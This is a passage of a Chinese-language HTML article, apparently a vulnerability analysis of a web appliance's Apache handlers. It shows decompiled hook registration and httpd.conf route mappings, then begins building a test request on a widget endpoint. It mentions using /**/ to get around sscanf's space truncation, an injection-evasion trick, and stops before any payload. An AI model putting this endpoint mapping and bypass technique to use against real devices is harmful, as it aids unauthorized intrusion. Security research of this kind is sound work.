15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008577" data-ratio="0.5560344827586207" title="null" data-type="png" data-w="696" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=aaa45430&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfXEFYTq32nVSjr96xeJicfNrvvnr6g3RsAQ1Xyg3uuuOtCeNKnl8Y1Iw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">__int64 sub_637E20()</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  ap_hook_handler(sub_637D60, 0LL, 0LL, 10LL);</span><span leaf=""><br/></span><span leaf="">  return ap_hook_handler(sub_637DC0, 0LL, 0LL, 10LL);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">路由规则定义为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">fabric_widget_detail-handler</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008573" data-ratio="0.421455938697318" title="null" data-type="png" data-w="783" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=aa9eb418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfC0xJrr8XRQNricKGEv0CdlRGb7vNKL2uKGaGALsgdB2jrgdicmz0jfDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可以在配置文件 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">httpd.conf</span></code><span leaf=""> 中找到对应的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 定义：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">&lt;Location ~ &#34;/api/v[0-9]/fabric/widget/[a-z]+&#34;&gt;</span><span leaf=""><br/></span><span leaf="">    SetHandler fabric_widget_detail-handler</span><span leaf=""><br/></span><span leaf="">&lt;/Location&gt;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除此之外，还支持以下访问路由规则：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">fabric_widget-handler</span></code><span leaf=""> -&gt; </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/api/v[0-9]/fabric/widget</span></code><span leaf=""><br/></span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008576" data-ratio="0.4328947368421053" title="null" data-type="png" data-w="760" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6724ea96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfydeibHXsPEJSRrBUjCodmdDTCUDGUvYUIE8pWC4WeFPvsdI2eXQnPIg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></p></li></ul><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">&lt;Location ~ &#34;/api/v[0-9]/fabric/widget&#34;&gt;</span><span leaf=""><br/></span><span leaf="">    SetHandler fabric_widget-handler</span><span leaf=""><br/></span><span leaf="">&lt;/Location&gt;</span></code></pre><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">fabric_device_status-handler</span></code><span leaf=""> -&gt; </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/api/fabric/device/status</span></code><span leaf=""><br/></span><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008574" data-ratio="0.6148555708390646" title="null" data-type="png" data-w="727" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c286d37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAywRGmYguPrcGj5bbSxFbKfk02ibFNlBEJ1SYkcEtz1tXAr5ZWO5aNf02Srwf7FibZTicPPpPh1sicsiag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure></p></li></ul><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">&lt;Location &#34;/api/fabric/device/status&#34;&gt;</span><span leaf=""><br/></span><span leaf="">    SetHandler fabric_device_status-handler</span><span leaf=""><br/></span><span leaf="">&lt;/Location&gt;</span></code></pre><p><span leaf="">以</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/api/v1/fabric/widget/abc</span></code><span leaf="">为例，构造验证请求。</span><span style="color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">因为这里通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 15px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;code&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">sscanf</span></code><span leaf=""> </span></span><span style="color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">函数进行赋值， 所以字符串中不能含有空格，否则将会被截断，可以利用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 15px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;code&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">/**/</span></code></span><span style="color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf=""> 绕过：</span></span><span 